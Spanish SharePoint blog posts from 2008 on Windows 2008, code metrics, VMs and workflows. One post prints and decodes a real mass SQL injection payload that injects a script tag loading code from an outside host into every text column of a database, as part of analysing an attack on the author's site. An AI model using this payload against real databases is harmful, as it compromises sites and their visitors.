Wednesday, August 13, 2008
#
Andando por aquí y por allá en la red, mientras espero que SQL haga el upgrade de 2005 a 2008 (hasta ahora sin problemas) en uno de mis servidores de SharePoint, me he encontrado el “Manual de Campo de Sabotaje Simple”, preparado por los Servicios Estratégicos del ejército norteamericano durante la segunda guerra mundial (enero 17 de 1944), http://www.gutenberg.org/etext/26184. Fuera de ser gracioso para leer, y también muy útil si esta en el medio de una guerra y quiere hacer el mayor daño posible sin ser atrapado (“sature una esponja con solución de azúcar; comprímala en una bola, enróllela con una cuerda y déjela secar. Remueva la cuerda cuando este seca y tirela por un sanitario; la esponja se expenderá gradualmente y trancara la tubería de desagüe”), me ha hecho recordar una de las personas con las que tuve que trabajar en uno de mis últimos proyectos...
Probablemente la parte más interesante del Manual es la sección final: “Interferencia general con organizaciones y producción”. Aunque parezca raro, un saboteador no es el que pone bombas y ataca convoys de trenes, como nos lo han hecho creer los millones de películas de los últimos cien años. El saboteador de verdad trabaja en una oficina como burócrata sin nombre, y le tira constantemente arena a los engranajes de la maquina oficial. Veamos las instrucciones para hacer que las cosas salgan más mal de lo normal:
1. Insista en utilizar los canales oficiales todo el tiempo, no permita que se utilicen vías expeditas
2. Cree todo tipo de “Comités” para “estudiar y considerar la situación”, y haga que los comités sean lo más grande posibles, nunca menos de 5 personas (así no se ponen de acuerdo nunca)
3. Haga relevantes las cuestiones que sean irrelevantes lo más frecuentemente posible
4. Recatee sobre las palabras precisas a utilizar en comunicados, minutas y resoluciones
5. Refiérase a puntos decididos en reuniones anteriores e intente abrirlos para discutirlos de nuevo
6. Siempre recomiende “precaución” e intente que sus colegas se comporten “precavidamente”
7. Siempre exija que las ordenes sean dadas por escrito
8. “No entienda” el trabajo que se le asigne. Pregunte hasta el infinito y, preferiblemente, discuta por escrito al respecto
9. Retrase todo lo más posible. Aunque entienda perfectamente lo que hay que hacer, no lo haga hasta que no haya leído completamente todos los manuales, correspondencia, etc
10. No ordene nuevo material hasta que el antiguo no esté prácticamente terminado y siempre pida material que es difícil de encontrar
11. Cuando asigne tareas a colegas, asigne el trabajo sin importancia primero. Asigne el trabajo sin importancia a sus colegas más capaces y el más importante a los menos capaces
12. Insista en obtener trabajo perfecto en cosas irrelevantes y no sea exigente con cosas relevantes
13. Para bajar la moral, sea complaciente con colegas ineficientes y promuévalos frecuentemente. Discrimine trabajadores eficientes y quéjese habitualmente de su trabajo
Bueno, la lista sigue y sigue, pero me parece que todos reconocemos a alguien en nuestro entorno que satisface por lo menos una de estas recomendaciones...
Y volviendo al proyecto que les contaba al principio, el encargado de manejar el proyecto por la parte de mi cliente era (es) todo un experto saboteador... probablemente se había leído el manual de marras antes de que yo lo hubiera encontrado. Para decidir hasta la más pequeña modificación era necesario organizar una reunión con la mayor cantidad posible de participantes, en la que con toda seguridad se revisarían puntos resueltos con mucha anterioridad (puntos 1, 2 y 5). Era prácticamente imposible hacer las cosas de una manera más eficiente (crear un Job de SharePoint para importar elementos desde un sistema de archivos) pues se debería trabajar con cautela (punto 6). Todo lo que se decidía había que ponerlo por escrito y enviar dos docenas de emails a veinte personas diferentes, de los cuales regresaban 19 pidiendo mayores explicaciones (puntos 7, 8 y 9). Los servidores para producción los pidió una semana antes de la fecha límite para poner todo on-line, y exigía que tuvieran discos duros de 15.000 rpm (punto 10). Junto con un colega estuvimos ocupados literalmente días y días corriendo tablas un pixel hacia la izquierda y cambiando el color de letras a “un gris menos oscuro” (puntos 11 y 12)...
Bueno, mi servidor ha terminado de hacer la migración de SQL a 2008 sin problemas. Inclusive SharePoint está funcionando como si no se le hubiera cambiado la Base de Datos... estupendo. El upgrade me ha aumentado el espacio utilizado en el disco duro en 600 MB... aceptable. A veces Microsoft hace las cosas bien... aunque a veces tenga la extraña idea de que el Manual de Campo de Sabotaje es lectura obligatoria para todos los empleados de Microsoft... probablemente me equivoco...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Sunday, August 10, 2008
#
1 - Windows 2008 - Internet Explorer 7 - WSS y/o MOSS:
Porque la animación no funciona?
2 - Windows 2008 - Administrador de tareas de Windows:
Porque se me perdieron las pestañas de “Aplicaciones”, “Procesos” y “Servicios”?
3 - Windows 2008 - runas.exe. El programa (que ha existido en Windows desde el tiempo de los dinosaurios) todavía se puede encontrar en el directorio C:\Windows\System32.
Porque cuando se intenta utilizar produce este mensaje?
4 - Instalar SQL 2008 en un Windows 2008 que contiene Visual Studio 2008
Porque aparece ese mensaje (y no se puede instalar), siendo que el SP1 para Visual Studio 2008 todavía no existe? (Solamente en Beta, inapropiado para trabajar con sistemas de producción [2008-08-09]).
5 - Porque el “Internet Explorer Developer Toolbar” no funciona en Windows 2008 con IE 7?
6 - Algo que he encontrado, para no ser totalmente negativista: Cuando se crean bastantes usuarios en Windows 2008, todos aparecen en la pantalla de Logon. Para evitarlo, puede iniciar el programa de “Directiva de seguridad local” desde las Heramientas administrativas de Windows, y en “Configuración de seguridad” - “Directivas locales” - “Opciones de seguridad” habilite las opciones “Inicio de sesión interactivo: no mostrar el ultimo nombre de usuario” e “Inicio de sesión interactivo: no requerir Ctrl+Alt+Supr”, lo que produce en el Logon:
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Wednesday, August 06, 2008
#
Todos tenemos de esas cosas que nos enervan... cuando empieza a llover (y nos mojamos) en un día de sol... la fila en el supermercado que avanza más rápido que en la que estas... despertarse y no poderse volver a dormir... Métricas de Código... cosas de esas que te irritan sin saber por que...
En estos días, por eso de que hay que estar al tanto de lo que pasa en el mundo, he estado dándole una revisada a las últimas herramientas para Visual Studio, sobre todo las últimas versiones de CodeRush y Resharper. Con herramientas para Visual Studio siempre he tenido una relación de amor-odio: me encantan por lo que pueden hacer y las odio porque son tan lentas y porque se comen tanta memoria y tiempo de CPU, que me rompen la “dinámica” cuando estoy escribiendo código... con toda seguridad me entienden... si estas inspirado y por fin te están saliendo las líneas de código a borbotones, lo menos que quieres es que una herramienta estúpida se demore media hora en mostrar la lista de Intellisense en una variable...
En fin, luego de usar un par de días Resharper 4.0, termine sacándolo del sistema por eso mismo... los 5.835 (o que se yo cuantos) shortcuts que utilizaba la version anterior son ahora 10 veces más, y la velocidad de operación es 2 veces menor... fuera de mi sistema... luego instale CodeRush 3.0.8; la verdad, este va evolucionando mas por el camino que yo desearía: menos funcionalidad que nunca se usa, y menos carga para el sistema. Aunque sigue poniendo problemas de vez en cuando, sobre todo por lo de las graficas que utiliza (CodeRush era anteriormente conocido como CodeCrash, según me comentaba alguna vez Hadi Hariri), es bastante más rápido para utilizar que Resharper, y la verdad sea dicha, la parte grafica es realmente encantadora (cuando funciona).
Pero se trata de Métricas de Código. Pues bien, CodeRush ofrece la posibilidad de mostrar al lado de cada método o clase que crees un número indicando la cantidad de renglones del método, su Complejidad Ciclomática o su Complejidad de Mantenimiento. Estos dos últimos son Métricas de Código que pretenden indicar que tan difícil de entender es un pedazo de código (“Cyclomatic Complexity en SharePoint” http://geeks.ms/blogs/gvelez/archive/2007/09/02/cyclomatic-complexity-en-sharepoint.aspx ) o que tan difícil será para darle mantenimiento. La forma para calcular la Complejidad de Mantenimiento es tan complejo que es prácticamente imposible de darle mantenimiento, pero si lo desea saber en detalle, en el articulo “Here’s your new metric” (http://www.doitwith.net/PermaLink.aspx?guid=39a0e537-5d0e-4f9b-ac5c-51e8b3d1d4ec) encontrará todo lo que desee saber al respecto. En resumidas cuentas, un número mayor de 1001 es “Ultra-complejo, extremadamente difícil de mantener, alta prioridad para simplificar”.
Pues bien, da la casualidad de que yo trabajo con SharePoint, en donde si quiero hacer una WebPart tengo que usar un override de un método que se llama “CreateChildControls”, en donde tengo que crear todas las instancias de los controles que quiero usar y asignarles sus propiedades básicas. En la WebPart que estaba construyendo, tengo 38 controles creados, lo que me produce un Maintenance Complexity de 1154, una enorme raya roja a lo largo de toda la rutina y un enorme insulto del compilador cuando genero el ensamblado... pero que quieren que haga? Partir el CreateChildControls en 38 rutinas pequeñitas y llamarlas desde el metodo una por una? Eso es mas inmantenible que el código actual... y entre otras cosas, los 38 controles usan cada uno código muy sencillo, que no tiene ningún problema de mantenimiento por si mismo... Métricas de Código son estúpidas... CodeRush fuera de mi sistema...
Sigamos... Visual Studio 2008 Team System viene con Métricas de Código: excelente. Podemos ver Profundidad de Herencia, Acoplamiento de Clases, Complejidad Ciclomática e Índex de Mantenibilidad. Por supuesto que este último es diferente al de CodeRush, y, si lo desea saber, es calculado según la fórmula:
Maintenability Index = 171 - 5.2 * log2 (Halstead Volumen) - 0.23 * (Cyclomatic Complexity) - 16.2 * log2 (Lines of Code)
Queda claro? Perfecto... Como se habrá podido dar cuenta, 171, 5.2, 0.23 y 16.2 son factores calculados científicamente por la Carnegie Mellon University (no, en serio, no es para reírse, léalo usted mismo en http://blogs.msdn.com/fxcop/archive/2007/11/20/maintainability-index-range-and-meaning.aspx si no me cree) de tal forma que te salga un numero entre 100 (muy bien) y 0 (requetemal). Yo diría que lo hicieron al revés, un indexe de mantenibilidad de cero me dice que hay que darle cero mantenibilidad, pero quién soy yo para contradecir a la Carnegie Mellon University...
Pues bien, al intentar usar las Metricas de Visual Studio 2008, sale inmediatamente un error “An error ocurred while calculating code metrics for target file bla-bla-bla...”. Googleando por aquí y por allá, parece que es un bug del tamaño de una vaca, que posiblemente será corregido en el Service Pack 1 de VS, y que para evitarlo hay que meter referencias a los NameSpaces mencionados en el error (http://neovolve.com/archive/2007/12/21/bug-found-in-calculating-code-metrics-in-vs2008.aspx). Luego de hacerlo de esa forma, es posible hacer funcionar la cosa, y que resulta? Que mi método CreateChildControls tiene un Maintenability Index de 25... Bastante malo... Métricas de Código a la basura... O soy yo el que está metiendo las patas por algún lado?... lo único que puedo decir es que digan lo que digan la Métricas de Código, mi código funciona bastante bien, y hasta ahora solamente un par de programadores incapaces e ineptos se han atrevido a quejarse de que no es mantenible...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Wednesday, July 30, 2008
#
En estos días, aprovechando que me han quedado un par de horas sueltas, me he puesto a rehacer mis maquinas virtuales. Las pobres sufren tanto, que de vez en cuando hay que jubilar las antiguas y crear nuevas.
Para estar al día, me ha dado por utilizar el “nuevo” Windows 2008. Con resultados... digamos... sorprendentes. Hasta ahora, fuera de haber instalado un par de veces a SharePoint en Windows 2008 para ser usado en servidores de prueba o producción, nunca lo había utilizado para una de mis maquinas virtuales de trabajo cotidiano. Siempre me ha gustado la velocidad del nuevo Windows para instalarle software, SQL cuesta un par de minutos, inclusive el mismo Windows es bastante rápido e indoloro para instalar. Hay que acostumbrarse a algunas cosas nuevas, como la pantalla administrativa de IIS, por ejemplo, pero rápidamente se le encuentra el gusto al asunto, y se nota que en realidad el sistema es más rápido.
Y más grande, y usa más espacio de disco duro, y más memoria... pero eso no es nada nuevo: cada Windows es más y más y más... Cuando hace un par de años una maquina virtual con Windows 2003 cabía comprimida en un CD, ahora se gasta nada más y nada menos que 6,5 GB solo para Win 2008: comprimida cabe apenas en un DVD, pasamos de un CD a un DVD en cuestión de un par de años. Y memoria, hace no mucho tiempo, con un MB de RAM era suficiente para usar XP y SharePoint 2003 sin ningún problema. Ahora Vista se traga por si mismo más de un MB, y a cada Maquina Virtual le tengo que meter por lo menos 1,5 MB para que funcione más o menos bien.
En fin, volviendo al cuento del principio, lo que necesito en una Maquina Virtual es bastante sencillo: Windows 2008, Office 2007 (Word, Excel, InfoPath, Outlook y SharePoint Designer), SQL 2005 (por eso de que todavía [todavía!!!] no ha salido un 2008 definitivo), Visual Studio (Team Suite, por eso de ser vanidoso y por deformación profesional) y WSS o MOSS. Y, por supuesto, mi colección de herramientas indispensables, pero esas no cuentan pues son bastante pequeñas en tamaño. Una maquina similar, creada con Windows 2003 R2 utiliza aproximadamente 5 GB de disco duro. Con Windows 2008, se me va a 12 GB, mas de dos veces el tamaño. Pero eso sí, funciona bastante rápido...
Y ahora, para no dar la lata más sobre el asunto, el par de lecciones aprendidas:
1 - Por eso de que VMWare hace maquinas virtuales con un disco duro de 16 MB por defecto (y soy tan perezoso que no se lo cambio), cuando terminas de instalar todo el rollo con Windows 2008 te quedas sin espacio. Para aumentar el tamaño del disco duro de una Maquina Virtual de VMWare, cierre Windows en el guest y utilice el comando:
Vmware-vdiskmanager -x [tamaño]GB [NombreArchivo].vmdk
(No debe haber SnapShots presentes). Cuando el proceso termine, inicie Windows de nuevo, y con las herramientas propias de Windows expanda la partición para que utilice todo el espacio nuevo. Fantástico, se puede realizar en cosa de minutos, y yo no tenía ni idea que se podía hacer (me costó un par de horas para encontrarlo, cosas de la ignorancia).
2 - Cuando estas usando Windows 2008 y quieres guardar un documento Word directamente en una Librería de SharePoint, el sistema simplemente no te lo permite: la Librería no aparece por ninguna parte en el explorador. Lo mismo si quieres usar la “Vista de Explorador”. Las dos cosas, pero sobre todo la primera son simplemente indispensables para trabajar con SharePoint. Pero no hay que desesperar: lo que hay que hacer es activar la Feature “Desktop Experience” de Win 2008, lo que permite hacer todo lo que quiero con SharePoint... y que también me instala el Media Player, el Windows Sidebar y la Photo Gallery, de los que no tengo ninguna necesidad, y que no hacen más que ocupar espacio. Pero eso no es tan malo, lo peor es que también me instala Aero, la interface grafica de Vista. Afortunadamente, el servicio que la activa (“Themes”) esta desactivado por defecto (por favor, por favor, no lo active por ningún motivo...). Otras dos horas perdidas buscando como hacer que Word funcionara con SharePoint en Windows 2008...
3 - Como no hay mal que por bien no venga, ni cuerpo que lo resista (o algo por el estilo), el Desktop Experience me instala también el botón de “Disk Cleanup” en la pantalla de propiedades del explorador de Windows, lo que me permite rápidamente limpiar el sistema, desfragmentarlo y reducirlo de tamaño con las herramientas de VMWare.
4 - Algunas cosas siguen sin funcionar:
- “Run As” no es aceptado de ninguna manera, así que ahora no puedo arrancar a IE con las credenciales de otro usuario... hmmm... lo único es cambiar el usuario usando el menú de SharePoint, pero yo preferiría que IE tuviera las credenciales buenas desde el principio
- El IE Developers ToolBar tampoco funciona. Se puede instalar e iniciar, pero eso es todo... todos los menús están en gris, y nada funciona... fui yo el que metió la pata en algún lado, o es que en realidad no funciona? Hasta ahora no he podido encontrar nada googleando...
- Arrastrar un archivo hacia la pantalla de Comandos tampoco está permitido (grrrrr....). Ahora hay que escribir todo el camino hasta el directorio que necesitas, lo que no es muy divertido con SharePoint si quieres usar stsadm (ustedes me entienden...)
- Si creas varios usuarios, todos aparecen en la pantalla de LogIn de Windows (no solamente el ultimo elegido, como lo hacía Windows 2003). Con un par de usuarios no hay problemas, pero cuando tenga que crear un par de cientos para hacer pruebas de carga o algo así? Voy a tener la pantalla de Login llena de usuarios? Supongo que habrá alguna manera de evitarlo, pero de nuevo, mi ignorancia es más grande que mi falta de conocimientos...
5 - Pero hay que ser sinceros... las maquinitas estas funcionan que da gusto...
PS: Alguien me puede explicar porque dos instalaciones idénticas de Windows, la una en ingles y la otra en español, la en español es 40’501.248 bytes más grande? Un poco exagerado para un par de Resource Files extras con cadenas en español, pensaría yo...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Thursday, July 17, 2008
#
Desde hace un par de semanas los logs de mi sitio, SkunkWorks (el sitio ese dedicado a información sobre SharePoint, tal vez ustedes lo hayan visto alguna vez), están llenos de errores. Por eso de la deformación profesional, en el sitio tengo un Modulo HTTP que cuando ocurre algún error me envía un E-mail avisándome, así que mi Outlook esta simplemente a reventar de errores producidos, registrados y enviados.
Los errores son todos del tipo:
http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=429;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C4043205641524348415228323535292044
45434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616
D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E7320622057
...
45205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);
Como estoy acostumbrado a recibir ataques de todo tipo en el sitio, en el principio no le he parado muchas bolas al asunto, pues mientras pueda detectar el ataque significa por defecto que el ataque ha fracasado. Pero en los últimos días la cosa es realmente una pesadilla, llegando a tener cientos de request por hora del mismo tipo.
Aprovechando un par de minutos de respiro, me he puesto a googlear al respecto, y para mi sorpresa veo que en el último par de meses este ataque se ha convertido en una real epidemia en Internet. De que se trata? Muy sencillo...
Como pueden ver, no es más que una inyección de código en el URL. Utilizando SQL se puede descifrar fácilmente la constante hexadecimal que están usando, lo que resulta que es algo por el estilo a:
DECLARE @T VARCHAR(255)
DECLARE @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT [A].[Name], [B].[Name]
FROM sysobjects AS [A], syscolumns AS [B]
WHERE [A].[ID] = [B].[ID] AND
[A].[XType] = 'U' /* Table (User-Defined) */ AND
([B].[XType] = 99 /* NTEXT */ OR
[B].[XType] = 35 /* TEXT */ OR
[B].[XType] = 231 /* SYSNAME */ OR
[B].[XType] = 167 /* VARCHAR */)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE (@@FETCH_STATUS = 0)
BEGIN
EXEC('UPDATE [' + @T + '] SET [' + @C + '] = RTRIM(CONVERT(VARCHAR, [' + @C + '])) + ''<script src="http://www.[algunHP].com/2.js"></script>''')
FETCH NEXT FROM Table_Cursor INTO @T, @C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Mirando por aquí y por allá, resulta que la consulta lo que pretende es inyectar una referencia a un JavaScript en todos los valores de todas las columnas del tipo texto, sysname o varchar de todas las tablas en la Base de Datos. El JavaScript es un “Cross-Site Scripting Persistent” ataque que en teoría puede hacer de todo, desde meter propaganda en el sitio hasta introducir worms y troyanos en el computador del usuario. Si desea ver un análisis del query, los artículos “SQL Injection: More of the same” de Johannes Ullrich y “ASCII Encoded/Binary String Automated SQL Injection Attack” de Michael Zino ofrecen toda la información que desee saber sobre el tema.
Así que la cosa es seria. Y como reacciona SharePoint ante un ataque de este tipo? Por lo que he visto, bastante bien. Si lo desea probar, verá que en el primer request aparece muy ligeramente un JavaScript intentando hacer una redirección a un sitio fuera del dominio, pero el ataque es detectado inmediatamente y aparece una página de error de IIS (HTTP 400 Bad Request). Desafortunadamente en un sistema por defecto el error se logea solamente en IIS, no en SharePoint. Una búsqueda ligera en las tablas de SQL de SharePoint y en el código fuente de las páginas del Portal tampoco indican que el ataque ha tenido éxito.
Se puede detener el ataque? Por lo que he visto no. Las request vienen cada vez de una dirección IP diferente, de tal forma que no se pueden bloquear por ese lado. Lo único que se me ocurre es otro modulo HTTP que intercepte directamente en el URL las sintaxis sospechosas y las rechace automáticamente, pero eso no detiene el ataque, solamente lo para en la puerta de entrada, lo que ya está haciendo SharePoint por sí mismo. La respuesta parece que también es muy sencilla: habrá que esperar pacientemente a que se aburran y me dejen en paz...
En cualquier caso, todo esta historia es solamente para darles las gracias a los... como llamarlos... las palabras que se me vienen a la boca no se pueden escribir en un sitio como este... dejémoslos en “señores”, que están intentando tan fervorosamente romper mi sitio: en un par de horas he aprendido un montón sobre SQL e inyección de código... lo único es que sigo sin entender porque alguien se dedica a hacer algo así...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Thursday, July 10, 2008
#
El segundo numero de CompartiMOSS, la revista especializada sobre SharePoint en español acaba de aparecer. Puede encontrar el nuevo número del magazine en http://www.gavd.net/servers/compartimoss/compartimoss_main.aspx como un archivo pdf (dividido en dos partes para facilitar la descarga).
En este numero:
- Editorial
- Busquedas empresariales (Vladimir Medina)
- Gestión Eficiente de LOGS en SharePoint (Hector Insua)
- El Centro de Registros de MOSS (Gustavo Velez)
- Validación de datos en la Data Form WebPart (Juan Carlos González Martín)
- Timer Jobs (Àlex Peláez Membrado)
- Secciones fijas
La idea de la revista es propagar el uso y conocimiento de SharePoint. Todas las personas que trabajan con SharePoint en el mundo hispanohablante están invitadas a participar.
La subsistencia de la revista depende no solo de la aceptación del magazine, sino de los aportes en artículos, ideas, experiencias de todos nosotros. Si desea tomar contacto con los editores, en la revista misma encontrara toda la información necesaria, o escriba sus comentarios directamente a compartimoss@gavd.net.
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Saturday, July 05, 2008
#
Para rematar en estilo una semana de esas raras, me he puesto a mirar el cerro de E-mails acumulados, y me he encontrado un artículo de Michael K. Campbell en WindowsDev Pro (“The Future of Rich Internet Applications and the Web”). He estado buscando el articulo en Internet sin poderlo encontrar, así que no puedo dar una referencia, pero si a alguien le interesa leerlo, háganmelo saber y se los envío a vuelta de correo.
El artículo se trata de las modas que van y vienen (y desaparecen) en nuestro mundo informático, y sobre el tema de “Aplicaciones Enriquecidas” (“Rich Internet Applications”), o como lo llaman por ahí, el Web dos. Su premisa es que HTML, a pesar de todos los SilverLight de este mundo, seguirá vivito y coleando por este mundo virtual por muchos años más.
Como ejemplo representativo comenta del SQL CLR. No tiene ni idea que es el SQL CLR? Pues de eso se trata realmente, de que ya nadie se acuerda que es eso. El SQL CLR es la posibilidad de escribir código para SQL directamente desde CSharp o Visual Basic, sin tener que usar el T-SQL. Cuando el asunto apareció hace años en los betas de Yukon, todo el mundo estaba entusiasmado y dispuesto a usarlo. Yukon se convirtió en SQL 2005, SQL 2005 vino y se volvió a ir, y en el intermedio nadie ha creado un solo renglón de código en CSharp para conversar con SQL. Probablemente “nadie” es exagerado, pero como el señor Cambell dice, el no conoce a nadie que lo haya utilizado alguna vez, y yo menos aun.
Algo similar puede ocurrir con Silverlight. Silverlight es una enorme promesa, por su riqueza y potencia. Gracias a las herramientas que Microsoft ha creado para ser utilizadas con Silverlight, la cantidad de código que hay que escribir para hacer algo bueno, bonito y rápido es mínimo. Que Silverlight es el “killer” de Macromedia Flash, más o menos todo el mundo está de acuerdo. Flash fue hace diez años la promesa que es ahora Silverlight, y ya vemos en que se ha convertido: el medio para crear propaganda que nadie quiere ver. En realidad Flash se va a morir por sus características autistas: si alguna vez ha intentado hacer comunicar un video Flash con el mundo exterior, se habrá dado cuenta que es más o menos entre dificilísimo e imposible... problema que parece no está teniendo Silverlight.
Pero no todo es color de rosa para Silverlight, y algunas de sus características son inherentemente débiles. Como Michael Campbell comenta en su artículo, el problema mayor de técnicas como Flash o Silverlight es que son dirigidas a mejorar la “Experiencia del Usuario”, olvidando que detrás de imágenes bonitas y videos agarradores, de lo que la red se trata es de contenido. Es decir, la experiencia del usuario muestra solamente el contenido que (en su mayoría) se genera dinámicamente, y que por la manera intrínseca de funcionamiento de Flash o Silverlight, es invisible para maquinas de búsqueda: Google o Yahoo o Microsoft Live (alguien usa MS Live?) son incapaces de indexar contenido presentado con estas técnicas. Y para empresas que basan sus ingresos en número de visitantes (que es lo que mueve en realidad a Internet), estas técnicas, aunque muy interesantes visualmente, no son interesantes comercialmente.
Extrapolando el asunto a SharePoint, el asunto no solo es de indexación de contenido (al motor de búsqueda de SharePoint lo podemos configurar para que busque directamente en el contenido del sistema, sin necesidad de indexar las pantallas), sino que, a pesar de que es posible usar Silverlight para crear WebParts, la técnica es prácticamente inutilizable por complicada y poco confiable. Por supuesto que cada vez vemos mas y mas sitios de SharePoint usando a Silverlight, pero yo personalmente no me atrevo a crear una intranet o extranet para un cliente mío usando Silverlight pues no puedo garantizar que el asunto seguirá funcionando sin problemas por los próximos años, y con cargas incrementales de utilización. Alguien ha hecho pruebas de carga, por ejemplo, de un sitio con una WebPart creada con Silverlight? No que yo sepa...
PS: Cambiando de tema, me había prometido no comentar nada sobre el asunto, pero me parece que es injusto con todos los amigos que me han escrito los últimos días, enviándome sus congratulaciones. En realidad, nada del asunto habría sido posible sin este grupo de amigotes cabeciduros que se les había metido la ida terca de que Microsoft y yo tuviéramos un vínculo de trabajo más estrecho. En fin, ellos lo han logrado, y yo se los agradezco de corazón. A ver con que resultamos en los próximos años, ahora que podemos colaborar más estrechamente para divulgar a SharePoint como el producto grande que es... de nuevo, gracias a todos, ellos y ellas...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Thursday, June 26, 2008
#
“The list of workflow actions on the server references an assembly that does not exist. Some actions will not be available. The assembly strong name is bla-bla-bla. Contact your server administrator for more information.”
Error encontrado a último minuto, cuando estaba preparando una conferencia que debía dar el lunes a primera hora (junto con Hadi Hariri, aunque él estaba hablando de cosas completamente diferentes). Mala cosa, ya tienes todo pensado y preparado y en el ultimo pedazo de código para rematar brillantemente la hora de conferencia, te sale SharePoint con algo por el estilo...
Empecemos por el principio. Todo el asunto se trataba de SharePoint y el Windows WorkFlow Foundation: juntando mundos que andan por caminos separados: SharePoint y la Fundación no tienen en principio nada que ver el uno con el otro, pero cuando se ponen a trabajar juntos se pueden hacer cosas realmente brillantes. Y hay dos formas para crear Flujos de Trabajo en SharePoint: SharePoint Designer o Visual Studio; otros dos mundos separados, que en principio no tienen nada que ver el uno con el otro (es más, hasta llegan a ser enemigos), pero que si se pueden conjugar de una u otra forma, nos pueden solucionar problemas peliagudos.
El problema que he estado viendo en varios proyectos los últimos tiempos es que los Flujos de Trabajo se están volviendo más y más complicados: las variables de entrada no hacen más que aumentar, los caminos a recorrer son cada vez más intrincados, las reglas de negocios menos y menos manejables. Por el otro lado, Flujos tienden a ser utilizados una sola vez, en una sola Lista o Librería (también como consecuencia de que cada vez son más especializados en realizar una tarea específica). Crear Flujos de Trabajo de este tipo es imposible de hacer con el SharePoint Designer, hay que usar Visual Studio, por lo tanto son bastante costosos de desarrollar (tiempo de desarrollador no es especialmente barato), y si hay que modificarlos de vez en cuando, el problema no hace más que aumentar, y nuestros clientes están cada vez menos contentos...
Con SharePoint Designer se pueden “ensamblar” Flujos de Trabajo de una forma realmente sencilla, y es muy fácil contarle a alguien que trabaje directamente con la instalación de SharePoint como hacerlo en muy poco tiempo. Pero el Designer no tiene ninguna capacidad para hacer cosas realmente interesantes. Como combinar los puntos fuertes de los dos (hacer lo que nos de la gana con VS, hacerlo fácilmente con SharePoint) para mitigar los puntos flacos de los dos (costos y conocimientos necesarios para usar VS, falta de posibilidades en Designer)? La respuesta es Actividades...
Actividades son esos pequeños bloques de funcionalidad que están en el Cuadro de Herramientas de Visual Studio y en las Acciones del Designer. Qué tal si dividimos el problema en bloques funcionales, creamos Actividades para ellos en Visual Studio y los instalamos en Designer de tal forma que nuestro cliente se “ensamble” sus Flujos por sí mismo? Combinamos mundos divergentes (el titulo de la conferencia) para solucionar un problema real y actual: bajar costos y aumentar flexibilidad. Un ejemplo que me he topado con frecuencia es en instalaciones de SharePoint en Universidades en donde hay un formulario para que nuevos estudiantes se inscriban: algunas facultades quieren que después de que el formulario se ha recibido, primero se haga una cita para conversar con el interesado, y luego se registra a la persona en el sistema. Otras facultades quieren registrar el interesado directamente para que no se les escape (las facultades de ingeniería por ejemplo... nadie quiere estudiar ingeniería, así que si a alguien le da por ahí, hay que agarrarlo inmediatamente) y luego hacer la cita. Como construir el Flujo detrás del formulario? De tal forma que pueda seguir los dos caminos dependiendo de variables de entrada? O crear dos Flujos, a los que hay que instalar, darles mantenimiento, etc? Porque no crear una Actividad “Formulario” (que se comunica con un formulario de InfoPath, por ejemplo), otra Actividad “Hacer Cita” (que mira en los calendarios de los entrevistadores, reserva tiempos en ellas, manda E-mails a todo el mundo) y una tercera Actividad “Registrar” (que crea un numero de registro, hace cosas en PeopleSoft, etc.), luego registramos las Actividades (creadas en Visual Studio) en SharePoint Designer y finalmente algún empleado de nuestro cliente se encarga de crear la Lista necesaria y ensamblar las Actividades en el orden indicado para crear el Flujo? Este es un ejemplo muy sencillo, pero al mismo tiempo muy real...
Bueno, de eso se trataba mi conferencia, y lo único que me faltaba al final era configurar a SharePoint Designer para que me mostrara una Actividad de ejemplo que ya tenía lista. Y allí me salió el error. Por eso de que no hay información de Microsoft al respecto (por alguna razón extraña ya ni me da rabia, estoy tan acostumbrado...), me he sacado un Profiler del bolsillo para ver qué era lo que pasaba cuando arrancaba a Designer y en el momento de intentar ver la Actividad. Pues bien, lo primero interesante que ocurre es que el Designer llama al método “FetchLegalWorkflowActions” (del que hay una página de información de Microsoft, http://msdn.microsoft.com/en-us/library/ms774779.aspx, que por supuesto no dice nada), pero que me indica que el Designer está usando WebServices para mirar en el archivo de configuración del sitio... hmmmm... todos los días se aprende algo nuevo... Luego se van recorriendo todos los ensamblados en la configuración y revisando si los encuentra en el GAC. Y si no encuentra alguno, sale el mensaje. El problema es que mi ensamblado estaba perfectamente firmado e instalado en el GAC, y lo peor de todo, que SharePoint lo encontraba sin problemas. Así que el proceso que realiza el Designer es muy sencillo, y todo estaba perfectamente configurado, pero el error me seguía saliendo y todo el asunto se atrancaba miserablemente...
Después de revisar todo una y otra y otra vez y ejecutar mil y un iisreset, estaba empezando a pensar en cambiar mi conferencia a algo así como “Posibles causas del embarazo de las gallinas verdes australianas”... así que me dio por cerrar a SharePoint Designer y reiniciarlo de nuevo... brillante, genial, fenomenal !!! Funciona!!!... Mi Actividad es visible y usable, y nada de errores... Muchas gracias Microsoft, me han proporcionado una de las horas más miserables de mi vida intentando encontrar un error inexistente, y todo gracias a que alguno de sus programadores no hizo su trabajo bien hecho, y gracias a que sus probadores no probaron el producto bien probado... Pero pude dar mi conferencia, y hasta me parece que a por lo menos una persona le ha gustado...
Gustavo - http://www.gavd.net/servers/
Escriba un Comentario que me haga reir...
Thursday, June 19, 2008
#
2000 según Microsoft. No, no es cierto, después de 2000 elementos la Lista empieza a tener problemas para mostrar los elementos en pantalla (http://www.gavd.net/servers/sharepointv3/spsv3_item.aspx?top=inf&itm=382 ). Así que en realidad cuantos elementos se pueden meter en una Lista antes de que SharePoint diga “hasta aquí voy yo” y deje de funcionar? De nuevo, según Microsoft, por los cinco millones...
